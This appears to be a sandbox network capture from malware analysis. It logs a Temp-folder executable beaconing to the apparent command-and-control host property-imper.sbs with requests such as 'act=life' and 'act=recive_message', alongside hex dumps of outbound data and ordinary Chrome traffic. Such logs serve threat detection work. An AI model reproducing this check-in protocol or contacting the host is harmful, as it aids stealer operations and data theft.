2024-11-23 12:29:19 UTC	15331	OUT	Data Raw: 74 fa 87 6d c7 6c 57 dc 7e c0 d0 7c ce b1 13 1c 55 c8 88 00 cf a8 6c 4f b6 66 d6 41 aa 16 88 dd 09 dd 9d 5a 5a 33 54 f8 db 3a 40 f7 18 82 f6 35 73 89 de b9 0e ff 79 e3 5a c5 09 e4 fc c5 6c e5 28 0d 1a 80 04 a1 61 67 6c c7 29 f4 ac cd c1 08 a2 9a 98 73 89 06 65 6c 2f 37 ac 0a 28 a9 3b 60 2f cb 37 f4 8b 9a f7 35 44 f4 21 0a a7 63 8e cf a4 19 51 ea 06 86 fc d8 f9 77 10 64 47 3d 18 88 51 ae 88 ef 6d 12 87 35 e0 04 c0 ff 54 03 a8 21 18 96 be 7d 08 28 19 3a e0 90 3e f0 c0 20 aa e1 d1 26 3e 3e 7a 06 e0 8b 9a 79 80 80 b9 32 e8 bb b0 f8 9c a2 ff 4c a8 8f 07 dc 4f f6 14 3c a8 53 ba 52 24 06 7e 85 d2 08 08 a2 27 ea 82 32 9a 71 f9 fd 56 20 f1 f0 31 92 35 2a 12 b1 75 62 e7 5d a7 3a 1a f2 bc 9c 3a d6 f1 48 c0 98 62 14 47 4b 6a 27 9a 45 72 cf bd 18 54 17 f5 db c0 f4 66 Data Ascii: tmlW~\|UlOfAZZ3T:@5syZl(agl)sel/7(;`/75D!cQwdG=Qm5T!}(:> &>>zy2LO<SR$~'2qV 15*ub]::HbGKj'ErTf
2024-11-23 12:29:19 UTC	15331	OUT	Data Raw: a0 86 08 1c 50 f6 a9 f8 b6 a3 32 71 6d 5a 00 0c 6f fe ff a9 fe ff 3d 08 6d c9 5c cd 44 49 30 3b 81 4e 33 28 bf 12 b8 07 f8 39 a8 3e cd 27 7d 1a a3 d1 9b c4 50 a8 68 a6 88 a2 1b 37 33 a5 86 51 ee 72 33 a3 2e ba eb f0 b7 25 35 10 1d 66 d4 0d 2a 2b f7 dd ed ed 84 c8 39 62 8c fb 87 05 92 76 f3 bd e7 df 75 f7 28 bc fb 20 c8 a3 ce 7e 7c 88 a3 e4 f1 43 06 90 3f 43 15 8e 00 c7 b0 1d c2 43 4c 0a 81 5e 22 b8 0f 75 41 c2 fa 13 96 e2 27 72 18 e0 9e e3 dd 7e 34 16 24 6d 7e 39 41 2a db c4 82 00 14 ee 9d 18 3f 39 09 43 d2 3c 51 59 b0 d4 c3 ff af 56 91 15 a6 ac f7 d9 04 54 a1 f8 70 3a 89 44 ba db aa 53 53 8b 9b dc 39 6a bf 9b 9e 25 ae 2e 66 ba 1d c3 ff 9e ee 99 1f 12 3b 31 61 15 4b c8 ae 2e bd e6 bd d5 26 98 4b e2 2f f4 4e b1 b2 23 65 5b 7a cb 49 ad b6 4a 11 6f 9e 15 23 Data Ascii: P2qmZo=m\DI0;N3(9>'}Ph73Qr3.%5f+9bvu( ~\|C?CCL^"uA'r~4$m~9A?9C<QYVTp:DSS9j%.f;1aK.&K/N#e[zIJo#
2024-11-23 12:29:19 UTC	15331	OUT	Data Raw: cf 0a 6d 5b 6e 65 ed 24 ac e2 36 d1 8d af 67 a9 1e 73 1b 86 3a 75 91 55 76 37 a0 87 df a0 67 d3 e2 f3 85 c5 c8 cd 50 e6 b0 70 80 87 65 58 87 44 ee 2f 7c 74 b4 02 d2 11 43 7f 18 81 9b 52 51 6d 3a 2d ee 56 db 63 95 1b 1b d8 ef 9b 35 7e 70 60 8f 3a d3 06 22 bf ea 4f 59 68 49 09 9b a9 7a 2a 05 36 4a 29 71 2b 7b bb 5f ab 3e 9e 22 e3 fb 22 4a c7 94 23 4d f3 16 2b 43 a0 3b 8f a8 53 dc 62 df 35 e5 6a ba e6 56 e1 42 d2 c1 2d ec 26 96 25 37 ff 7e c1 2e eb f9 be d6 2a 27 b7 db 7e 6b 3b 73 bd a2 9d fa 69 0a d2 25 a2 0c 21 dc a2 a2 37 f2 7c 06 69 7f b3 94 48 22 31 63 b6 4b 08 bc 65 23 f9 97 87 28 13 85 03 1b 58 ca 15 f7 7e ca a5 ee 04 69 c0 1d 8f 6d f9 f6 d6 89 f8 f7 c5 02 6a a7 21 ef 3a 3b e5 d3 96 91 54 d8 48 60 8f 92 6d fa fe 57 cb 60 b7 d9 ee be 8f 07 38 93 e7 0e Data Ascii: m[ne$6gs:uUv7gPpeXD/\|tCRQm:-Vc5~p`:"OYhIz6J)q+{_>""J#M+C;Sb5jVB-&%7~.'~k;si%!7\|iH"1cKe#(X~imj!:;TH`mW`8
2024-11-23 12:29:24 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f4n24vquoenmloclfmnh0ja9h3; expires=Wed, 19-Mar-2025 06:16:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hdLjKfsFvoOO%2BoA6dq5G4YFhstXztcYHH7iOHoyXoSlvKB%2BRn3Dir6u1fzXoeUAwBCdCBitf%2BPAHSiNG%2FleOYoaEsKtCq1lRTjwYgIpCD5ZLwHHNtYuWsKB0m4zcjzBrhGpABEE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e712a04fbb4c334-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1552&sent=353&recv=641&lost=0&retrans=0&sent_bytes=2846&recv_bytes=617606&delivery_rate=1932495&cwnd=247&unsent_bytes=0&cid=2cfa50c1deefa910&ts=5269&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49970	104.21.33.116	443	2940	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:29 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 12:29:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 12:29:30 UTC	1027	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6fa475rv64g26t2s9i96je1ijt; expires=Wed, 19-Mar-2025 06:16:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bSPN%2B%2B5EIZbkkBurf9vU%2BxWqM5P%2BE0i36n4go0WOyQ%2BPNkOFD56u2ieQxxj%2BkCkrN9smp6JXZrguFolpNRkbZL%2F%2BEuOcUxiK%2FVC4KTu5PcxzqZEpfHc4zehoOpsKApZ1MjIZ%2Fe8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e712a445eec8c17-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1810&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1558996&cwnd=239&unsent_bytes=0&cid=d154d6839ae77013&ts=849&x=0"
2024-11-23 12:29:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 12:29:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49986	104.21.33.116	443	2940	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 12:29:32 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 12:29:33 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tb5kbj0ti8mvdd4gmcot5bu7sl; expires=Wed, 19-Mar-2025 06:16:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KvDmM7hChFpR6kvtugIARVkPZXGFX%2FaIm8%2F0YlUPwJ57VgKRJSWs5YNdfY9Jt2tUOTyyGNGmEQp9OUSCBXJoxh24m%2FSdJ2SZ%2FmsclADqrfAIK8%2FHq3Odasnvme27v%2F%2FR7HNHSOo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e712a5a5fb15e76-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1565&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1770770&cwnd=221&unsent_bytes=0&cid=b78388438c9068e7&ts=742&x=0"
2024-11-23 12:29:33 UTC	348	IN	Data Raw: 63 62 64 0d 0a 74 67 30 77 59 2b 4e 58 77 35 43 59 70 73 6e 6d 4f 43 4c 63 78 69 39 47 57 78 62 74 53 7a 67 31 7a 36 68 62 37 2f 73 72 4b 55 6a 4e 4c 30 5a 42 32 57 50 76 73 75 76 44 36 39 78 4d 55 4b 6d 6a 41 32 51 36 63 73 39 78 58 6c 53 6a 32 7a 37 44 32 56 31 45 61 6f 78 72 55 51 2b 51 4d 75 2b 79 2f 64 37 72 33 47 4e 5a 2f 71 4e 42 5a 47 45 30 69 43 46 61 56 4b 50 4b 4f 6f 53 55 57 30 55 72 33 6d 46 58 43 34 59 30 70 2f 48 30 79 36 79 44 58 55 4f 32 71 45 59 72 4d 33 76 50 5a 78 70 51 74 59 70 68 7a 62 5a 4f 58 53 6e 37 62 45 4d 49 77 53 72 76 36 37 72 44 70 38 51 43 41 4c 32 6a 54 53 6f 39 63 6f 59 6a 55 46 32 72 79 7a 2b 46 69 30 4a 50 49 4e 35 76 56 41 71 4d 50 62 50 38 2f 73 79 6e 68 56 64 44 2f 75 6f 4e 49 79 45 30 31 32 6b 4a 5a 61 37 62 4b 4a Data Ascii: cbdtg0wY+NXw5CYpsnmOCLcxi9GWxbtSzg1z6hb7/srKUjNL0ZB2WPvsuvD69xMUKmjA2Q6cs9xXlSj2z7D2V1EaoxrUQ+QMu+y/d7r3GNZ/qNBZGE0iCFaVKPKOoSUW0Ur3mFXC4Y0p/H0y6yDXUO2qEYrM3vPZxpQtYphzbZOXSn7bEMIwSrv67rDp8QCAL2jTSo9coYjUF2ryz+Fi0JPIN5vVAqMPbP8/synhVdD/uoNIyE012kJZa7bKJ
2024-11-23 12:29:33 UTC	1369	IN	Data Raw: 76 56 41 2b 41 4f 4b 48 67 38 73 2b 67 67 55 68 4c 74 36 6c 41 4a 44 52 2b 67 43 70 61 55 4b 66 41 4e 6f 65 64 52 45 59 73 31 47 38 53 54 38 45 79 75 62 4b 69 68 49 69 42 53 6b 65 79 73 67 38 65 65 57 76 42 4d 42 70 51 6f 59 70 68 7a 5a 46 4d 53 43 6e 66 59 46 45 4a 69 69 65 68 34 50 7a 4a 72 70 5a 63 52 62 43 75 54 6a 59 7a 65 6f 6b 71 55 31 79 6b 7a 7a 36 4a 32 51 63 4c 4c 63 77 76 43 6b 47 67 4f 4b 72 2b 38 4e 4f 72 78 45 55 4f 70 2b 52 4b 4b 48 6b 73 7a 79 31 62 55 36 7a 4f 4e 34 4f 64 52 55 30 6b 32 57 42 55 43 34 45 79 71 2f 72 79 78 61 61 50 56 55 43 37 71 55 6b 69 4e 58 57 4b 61 52 51 58 71 74 4a 35 31 64 6c 6e 54 43 6e 47 4c 57 63 43 6a 7a 75 6d 35 4c 72 62 35 5a 30 61 52 37 4c 6b 46 57 51 33 63 59 41 37 57 30 57 6f 78 43 75 42 6e 45 39 47 4b 64 Data Ascii: vVA+AOKHg8s+ggUhLt6lAJDR+gCpaUKfANoedREYs1G8ST8EyubKihIiBSkeysg8eeWvBMBpQoYphzZFMSCnfYFEJiieh4PzJrpZcRbCuTjYzeokqU1ykzz6J2QcLLcwvCkGgOKr+8NOrxEUOp+RKKHkszy1bU6zON4OdRU0k2WBUC4Eyq/ryxaaPVUC7qUkiNXWKaRQXqtJ51dlnTCnGLWcCjzum5Lrb5Z0aR7LkFWQ3cYA7W0WoxCuBnE9GKd
2024-11-23 12:29:33 UTC	1369	IN	Data Raw: 6a 7a 75 6d 35 4c 72 62 35 5a 30 61 52 37 4c 6b 46 57 51 31 66 59 38 69 55 46 4f 74 7a 54 53 49 6d 6b 35 49 4a 39 4e 6c 58 41 61 46 4f 61 6a 2f 2f 4d 53 73 67 46 39 53 75 36 31 42 4b 48 6b 36 7a 79 35 43 46 2f 57 4b 46 6f 71 50 53 6d 51 70 78 57 59 53 48 73 38 73 34 66 58 32 68 50 50 45 58 55 57 32 72 30 73 73 4f 57 61 4b 4a 31 46 57 70 38 77 34 67 4a 56 50 53 79 76 55 61 56 34 42 68 6a 4b 7a 34 50 2f 43 75 59 34 61 44 76 36 6a 56 57 52 68 4e 4c 6b 35 54 55 61 37 69 41 79 4f 6c 30 64 4d 50 4a 52 77 48 42 6a 42 4d 71 32 79 6f 6f 53 67 68 46 5a 48 74 71 4a 4a 4c 44 5a 37 68 6a 74 62 57 36 50 59 50 6f 32 51 52 30 51 6d 33 57 4a 56 44 49 6f 2f 72 50 62 39 78 65 76 4b 47 6b 65 6d 35 42 56 6b 44 32 53 43 4a 58 52 63 6f 63 4e 35 6b 74 64 51 43 79 33 59 4c 77 70 Data Ascii: jzum5Lrb5Z0aR7LkFWQ1fY8iUFOtzTSImk5IJ9NlXAaFOaj//MSsgF9Su61BKHk6zy5CF/WKFoqPSmQpxWYSHs8s4fX2hPPEXUW2r0ssOWaKJ1FWp8w4gJVPSyvUaV4BhjKz4P/CuY4aDv6jVWRhNLk5TUa7iAyOl0dMPJRwHBjBMq2yooSghFZHtqJJLDZ7hjtbW6PYPo2QR0Qm3WJVDIo/rPb9xevKGkem5BVkD2SCJXRcocN5ktdQCy3YLwp
2024-11-23 12:29:33 UTC	182	IN	Data Raw: 2f 33 37 77 4b 36 42 58 6b 65 36 6f 6b 4a 6b 64 7a 53 49 4d 52 6f 50 37 65 55 65 75 4e 74 6f 63 57 72 4c 49 55 74 42 68 6a 6e 68 71 72 72 49 71 49 68 53 54 37 69 74 51 53 34 77 66 34 4d 69 58 6c 75 6b 7a 7a 2b 4d 6e 45 78 4b 4c 74 68 6c 56 41 4b 43 4f 71 37 39 38 6f 54 6c 78 46 31 59 2f 76 77 4e 41 53 35 2f 67 53 38 61 53 4f 50 54 65 59 71 56 43 52 4e 71 32 47 5a 55 42 34 51 35 6f 50 54 79 77 61 4f 41 57 30 61 34 70 30 49 67 50 48 57 41 4c 56 5a 5a 70 38 73 34 67 5a 4a 47 51 43 2b 55 49 52 49 47 6d 58 58 35 73 73 76 48 76 5a 4e 4b 54 0d 0a Data Ascii: /37wK6BXke6okJkdzSIMRoP7eUeuNtocWrLIUtBhjnhqrrIqIhST7itQS4wf4MiXlukzz+MnExKLthlVAKCOq798oTlxF1Y/vwNAS5/gS8aSOPTeYqVCRNq2GZUB4Q5oPTywaOAW0a4p0IgPHWALVZZp8s4gZJGQC+UIRIGmXX5ssvHvZNKT
2024-11-23 12:29:33 UTC	1369	IN	Data Raw: 33 32 65 38 0d 0a 50 36 37 41 7a 31 35 63 34 4e 70 41 68 65 73 32 44 4f 48 6c 30 78 45 4c 39 64 67 56 51 79 48 4f 61 76 37 38 73 4b 6b 6a 55 68 44 73 71 70 4b 4b 6a 56 36 67 69 4e 5a 57 75 32 45 65 59 71 42 43 52 4e 71 2b 47 68 66 4c 34 6f 35 70 72 4c 6c 69 72 4c 45 58 55 7a 2b 2f 41 30 6f 4d 33 69 47 4b 56 4e 53 70 63 45 77 69 4a 68 43 54 69 6e 53 59 6c 30 49 6b 7a 2b 69 2f 50 6e 49 70 34 4a 62 51 36 79 73 52 47 52 33 4e 49 67 78 47 67 2f 74 36 7a 65 41 6a 55 35 62 61 73 73 68 53 30 47 47 4f 65 47 71 75 73 65 71 69 31 6c 42 73 36 4a 45 4c 44 6c 79 69 69 5a 58 57 61 72 4e 4f 59 43 58 52 6b 30 69 32 57 4e 5a 44 34 67 7a 6f 66 50 77 68 4f 58 45 58 56 6a 2b 2f 41 30 55 4f 6e 53 50 4d 68 70 49 34 39 4e 35 69 70 55 4a 45 32 72 47 5a 56 73 42 67 6a 71 6d 39 76 Data Ascii: 32e8P67Az15c4NpAhes2DOHl0xEL9dgVQyHOav78sKkjUhDsqpKKjV6giNZWu2EeYqBCRNq+GhfL4o5prLlirLEXUz+/A0oM3iGKVNSpcEwiJhCTinSYl0Ikz+i/PnIp4JbQ6ysRGR3NIgxGg/t6zeAjU5basshS0GGOeGquseqi1lBs6JELDlyiiZXWarNOYCXRk0i2WNZD4gzofPwhOXEXVj+/A0UOnSPMhpI49N5ipUJE2rGZVsBgjqm9v
2024-11-23 12:29:33 UTC	1369	IN	Data Raw: 56 45 65 6f 35 46 4a 71 49 44 53 49 4a 52 6f 50 37 63 73 31 67 70 70 47 53 43 6e 56 5a 55 41 54 6a 54 79 70 39 2f 62 50 70 59 4a 49 52 72 47 74 54 69 63 77 63 34 63 6c 55 46 53 71 69 6e 66 4e 6e 6c 45 4c 63 70 52 4d 52 52 47 4d 64 62 36 38 34 34 53 73 69 42 6f 59 2f 71 78 41 4c 44 4e 77 69 43 52 64 55 61 54 59 4d 49 69 58 53 55 38 68 32 32 6c 57 41 6f 45 6e 70 2f 62 79 78 36 61 4a 56 45 4f 36 35 41 4e 6b 50 6d 7a 50 63 52 70 6c 6f 4d 51 69 67 70 35 59 51 57 72 4c 49 55 74 42 68 6a 6e 68 71 72 72 41 70 5a 5a 52 51 62 57 76 51 79 4d 32 63 59 55 70 56 56 4f 75 78 44 4b 4d 6d 6b 46 47 4a 39 70 6c 57 77 69 47 4f 61 58 31 75 6f 72 72 67 30 49 41 35 75 52 6d 42 52 52 59 69 44 4d 61 53 4f 50 54 65 59 71 56 43 52 4e 71 32 47 5a 65 43 34 6f 79 71 2f 7a 7a 79 71 43 Data Ascii: VEeo5FJqIDSIJRoP7cs1gppGSCnVZUATjTyp9/bPpYJIRrGtTicwc4clUFSqinfNnlELcpRMRRGMdb6844SsiBoY/qxALDNwiCRdUaTYMIiXSU8h22lWAoEnp/byx6aJVEO65ANkPmzPcRploMQigp5YQWrLIUtBhjnhqrrApZZRQbWvQyM2cYUpVVOuxDKMmkFGJ9plWwiGOaX1uorrg0IA5uRmBRRYiDMaSOPTeYqVCRNq2GZeC4oyq/zzyqC
2024-11-23 12:29:33 UTC	1369	IN	Data Raw: 36 68 4f 4a 44 31 79 68 69 39 5a 55 2b 32 45 65 59 71 42 43 52 4e 71 2b 57 4e 56 4b 49 59 75 34 65 32 30 33 65 75 44 56 67 44 6d 35 45 77 76 4d 33 75 43 4b 6c 78 55 70 73 38 7a 6a 4a 35 42 52 6a 6a 58 59 46 30 46 67 54 71 6e 39 50 76 4c 72 59 4e 54 51 62 61 6a 44 57 70 35 63 35 64 70 41 68 65 44 7a 54 71 4a 32 56 59 46 4d 35 52 6f 58 6b 48 5a 64 61 48 34 38 4d 36 6c 68 46 31 53 75 4b 31 4e 4a 79 74 33 69 53 46 63 57 36 48 48 4d 59 53 5a 54 45 41 6e 33 32 4a 55 41 59 6f 30 34 62 79 36 77 37 50 45 41 67 43 50 71 55 4d 67 4e 33 65 66 4c 68 70 49 34 39 4e 35 69 70 55 4a 45 32 72 62 5a 6b 41 47 68 44 32 6f 38 76 54 4e 6f 6f 4e 65 51 37 2b 67 51 53 73 77 64 34 63 6f 55 6c 69 75 79 6a 4b 46 6b 30 68 46 4c 35 51 68 45 67 61 5a 64 66 6d 79 31 63 65 75 6a 31 73 43 Data Ascii: 6hOJD1yhi9ZU+2EeYqBCRNq+WNVKIYu4e203euDVgDm5EwvM3uCKlxUps8zjJ5BRjjXYF0FgTqn9PvLrYNTQbajDWp5c5dpAheDzTqJ2VYFM5RoXkHZdaH48M6lhF1SuK1NJyt3iSFcW6HHMYSZTEAn32JUAYo04by6w7PEAgCPqUMgN3efLhpI49N5ipUJE2rbZkAGhD2o8vTNooNeQ7+gQSswd4coUliuyjKFk0hFL5QhEgaZdfmy1ceuj1sC
2024-11-23 12:29:33 UTC	1369	IN	Data Raw: 74 33 4e 4a 64 70 41 68 65 59 79 54 65 44 6e 6c 39 61 5a 2f 4e 31 58 77 65 57 4a 4f 47 38 75 73 4c 72 33 41 6f 4f 2f 71 42 63 5a 47 45 6b 33 58 49 50 42 50 71 61 61 35 4c 58 55 41 73 38 6c 44 63 41 54 38 45 6e 34 61 71 36 67 36 69 57 53 45 61 39 73 6b 35 6a 42 30 71 68 4c 6c 78 53 71 74 70 37 6f 35 4a 64 54 47 71 61 4c 31 31 42 32 51 7a 68 75 72 72 37 35 63 52 43 41 4f 62 6b 65 43 63 33 65 6f 67 2f 53 78 71 44 7a 54 2b 49 6e 6c 6b 4a 42 4e 39 37 56 55 48 50 64 61 65 79 6f 70 54 6c 78 46 35 52 2f 76 77 64 64 6d 49 68 33 48 34 4b 42 62 4b 45 49 4d 32 50 43 52 4e 34 6d 69 39 41 51 64 6c 31 35 76 48 6f 31 71 32 48 54 45 50 35 6d 6e 4d 6e 4c 33 6d 41 49 6c 74 70 6b 2b 51 30 6a 4a 70 48 43 52 76 43 59 6b 49 43 68 44 4b 66 7a 50 54 44 76 34 4e 55 52 72 37 6b 41 Data Ascii: t3NJdpAheYyTeDnl9aZ/N1XweWJOG8usLr3AoO/qBcZGEk3XIPBPqaa5LXUAs8lDcAT8En4aq6g6iWSEa9sk5jB0qhLlxSqtp7o5JdTGqaL11B2Qzhurr75cRCAObkeCc3eog/SxqDzT+InlkJBN97VUHPdaeyopTlxF5R/vwddmIh3H4KBbKEIM2PCRN4mi9AQdl15vHo1q2HTEP5mnMnL3mAIltpk+Q0jJpHCRvCYkIChDKfzPTDv4NURr7kA
2024-11-23 12:29:33 UTC	1369	IN	Data Raw: 58 65 78 51 58 71 64 74 35 31 63 6b 62 45 48 2b 48 4f 41 4a 54 6e 6e 75 34 73 75 79 45 38 39 59 55 41 4b 7a 6b 46 57 52 2b 64 35 30 37 58 46 53 37 79 58 36 7a 70 32 35 46 4c 64 56 35 51 67 79 4e 46 4b 4c 6a 38 50 71 56 6b 56 6c 4f 73 4b 4e 62 4e 58 6b 36 7a 79 59 61 44 35 53 4b 63 63 32 6d 42 77 73 79 6c 44 63 53 4e 49 49 37 72 2f 58 73 31 65 61 6a 56 45 65 2f 73 6c 30 70 4e 56 57 4d 4f 46 41 58 34 34 6f 2f 7a 63 45 62 42 57 72 51 66 68 4a 5a 30 57 66 36 70 36 6d 54 2b 39 5a 46 44 71 66 6b 57 32 52 68 4a 73 46 70 53 42 66 31 69 6e 36 4f 69 31 74 4e 4b 63 4a 73 46 54 2b 2f 45 4c 62 78 36 73 4b 6f 75 6d 52 72 73 71 4a 4b 50 6a 35 79 71 51 6b 61 47 65 33 46 65 64 57 67 43 51 4e 71 36 79 45 53 47 63 46 74 34 63 66 35 79 71 57 44 54 46 48 7a 67 56 6f 6e 4b 58 Data Ascii: XexQXqdt51ckbEH+HOAJTnnu4suyE89YUAKzkFWR+d507XFS7yX6zp25FLdV5QgyNFKLj8PqVkVlOsKNbNXk6zyYaD5SKcc2mBwsylDcSNII7r/Xs1eajVEe/sl0pNVWMOFAX44o/zcEbBWrQfhJZ0Wf6p6mT+9ZFDqfkW2RhJsFpSBf1in6Oi1tNKcJsFT+/ELbx6sKoumRrsqJKPj5yqQkaGe3FedWgCQNq6yESGcFt4cf5yqWDTFHzgVonKX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49987	142.250.181.68	443	6532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:33 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 12:29:34 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:34 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-YOsi-VrNOjcc7P6sAzWrZg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 12:29:34 UTC	124	IN	Data Raw: 64 38 36 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 69 73 63 6f 6e 73 69 6e 20 64 6e 72 20 64 65 65 72 20 73 65 61 73 6f 6e 20 6f 75 74 6c 6f 6f 6b 22 2c 22 68 6f 6e 6b 61 69 20 73 74 61 72 20 72 61 69 6c 20 32 2e 37 20 6c 69 76 65 73 74 72 65 61 6d 20 63 6f 64 65 73 22 2c 22 39 31 31 20 73 65 61 73 6f 6e 20 38 20 65 70 69 73 6f 64 65 73 22 2c 22 70 68 69 6c 61 64 65 6c Data Ascii: d86)]}'["",["wisconsin dnr deer season outlook","honkai star rail 2.7 livestream codes","911 season 8 episodes","philadel
2024-11-23 12:29:34 UTC	1390	IN	Data Raw: 70 68 69 61 20 65 61 67 6c 65 73 20 76 73 20 72 61 6d 73 22 2c 22 77 68 65 6e 20 69 73 20 32 30 32 34 20 73 70 6f 74 69 66 79 20 77 72 61 70 70 65 64 22 2c 22 63 61 72 64 61 6e 6f 20 61 64 61 20 70 72 69 63 65 20 70 72 65 64 69 63 74 69 6f 6e 22 2c 22 72 6f 63 6b 73 74 61 72 20 67 61 6d 65 73 20 67 74 61 20 36 22 2c 22 63 6f 6c 6c 65 67 65 20 66 6f 6f 74 62 61 6c 6c 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f Data Ascii: phia eagles vs rams","when is 2024 spotify wrapped","cardano ada price 